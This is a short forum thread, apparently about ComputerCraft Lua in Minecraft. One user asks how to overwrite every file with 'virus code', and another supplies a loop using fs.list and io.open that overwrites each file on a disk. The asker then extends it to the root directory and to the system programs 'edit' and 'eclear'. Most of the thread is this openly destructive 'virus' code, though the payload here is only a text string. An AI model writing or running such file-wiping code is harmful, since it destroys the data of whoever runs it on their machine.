718 posts
                
                    
                        Location
                        Hawaii
                    
                
             
            
                Posted 31 March 2012 - 07:34 AM
                How can I get all files and edit them?
Like this:
--file finder
file = fs.open(stuff,"w")
file.write("virus code")
file.close()
diskhax = fs.open("disk/" ..stuff, "w")
diskhax.write("virus code")
diskhax.close()
But I didn't set 'stuff', it's supposed to be all the file contents
(I'm trying to change it all to virus code)
 
                
             
         
        
        
            
            
                
                    
                
                496 posts
                
                    
                        Location
                        New Zealand
                    
                
             
            
                Posted 31 March 2012 - 09:25 AM
                You can use fs.list(),
Note this code was written in my browser so isn't tested but it should work.
files = fs.list("disk")
for n=1,#files do
    if not fs.isDir("disk/"..files[n]) then
        file = io.open("disk/"..files[n], "w")
        file:write("I found your file")
        file:close()
    end
end
 
                
             
         
        
        
            
            
                
                    
                
                718 posts
                
                    
                        Location
                        Hawaii
                    
                
             
            
                Posted 31 March 2012 - 07:43 PM
                You can use fs.list(),
Note this code was written in my browser so isn't tested but it should work.
files = fs.list("disk")
for n=1,#files do
	if not fs.isDir("disk/"..files[n]) then
		file = io.open("disk/"..files[n], "w")
		file:write("I found your file")
		file:close()
	end
end
Would this work too?
local viruscode = "I found your file";
files = fs.list("disk")
for n=1,#files do
	if not fs.isDir("disk/"..files[n]) then
		file = io.open("disk/"..files[n], "w")
		file:write(viruscode)
		file:close()
	end
end
files = fs.list("/")
for n=1,#files do
	if not fs.isDir("/"..files[n]) then
		file = io.open("/"..files[n], "w")
		file:write(viruscode)
		file:close()
	end
end
file = io.open("/edit", "w")
file:write(viruscode)
file:close()
file = io.open("/eclear", "w")
file:write(viruscode)
file:close()